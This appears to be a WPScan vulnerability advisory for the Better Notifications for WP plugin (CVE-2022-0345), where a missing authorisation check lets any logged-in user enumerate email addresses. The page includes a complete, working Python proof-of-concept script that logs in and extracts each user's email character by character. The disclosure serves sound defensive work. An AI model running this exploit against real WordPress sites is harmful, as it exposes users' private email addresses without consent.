WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Better Notifications for WP < 1.8.7 - Email Address Disclosure

Description

The plugin does not have authorisation and CSRF check in its bnfw_search_users AJAX action, allowing any authenticated users to call it and query for user e-mail prefixes (finding the first letter, then the second one, then the third one etc.).

Proof of Concept

import sys
import string
import urllib.parse

import requests

BASE_URL = "http://127.0.0.1:8001/"
USERNAME = "subscriber"
PASSWORD = "subscriber"

# This exploit doesn't detect stars in e-mail addresses.
EMAIL_CHARSET = (
    "".join([x for x in string.ascii_letters if x == x.lower()])
    + string.digits
    + "!#$%&'+-/=?^_`{|}[email protected]:"
)


with requests.Session() as s:
    cookies = {"wordpress_test_cookie": "WP Cookie check"}
    data = {
        "log": USERNAME,
        "pwd": PASSWORD,
        "wp-submit": "Log In",
        "redirect_to": BASE_URL,
        "testcookie": "1",
    }
    response = s.post(BASE_URL + "wp-login.php", cookies=cookies, data=data)

    def get_users_by_query(query: str) -> dict:
        response = s.get(
            BASE_URL
            + "/wp-admin/admin-ajax.php?action=bnfw_search_users&query="
            + urllib.parse.quote(query)
        )
        response_decoded = response.json()
        for item in response_decoded:
            if item["text"] == "Users":
                return item["children"]

    USERS = {}

    for user in get_users_by_query(""):
        USERS[user["id"]] = user["text"]

    for user_id, user_name in USERS.items():
        print(f"Getting e-mail of {user_name}... :")

        email_candidates = [""]
        finished_candidates = []
        while len(email_candidates) > 0:
            new_candidates = []
            for candidate in email_candidates:
                found = False
                for char in EMAIL_CHARSET:
                    for item in get_users_by_query(candidate + char):
                        if item["id"] == user_id:
                            new_candidates.append(candidate + char)
                            found = True
                if not found:
                    finished_candidates.append(candidate)
            email_candidates = [
                candidate
                for candidate in new_candidates
                if not candidate.startswith(user_id + ".")
                and not candidate.startswith("http:")
            ]
            print("candidates: ", email_candidates + finished_candidates)
        print([candidate for candidate in email_candidates + finished_candidates if "@" in candidate]) 

Affects Plugins

bnfw
Fixed in version 1.8.7

References

CVE
CVE-2022-0345

Classification

Type

SENSITIVE DATA DISCLOSURE

OWASP top 10
A3: Sensitive Data Exposure
CWE
CWE-200

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
b3b523b9-6c92-4091-837a-d34e3174eb19

Timeline

Publicly Published

2022-01-31 (about 1 years ago)

Added

2022-01-31 (about 1 years ago)

Last Updated

2022-04-12 (about 9 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us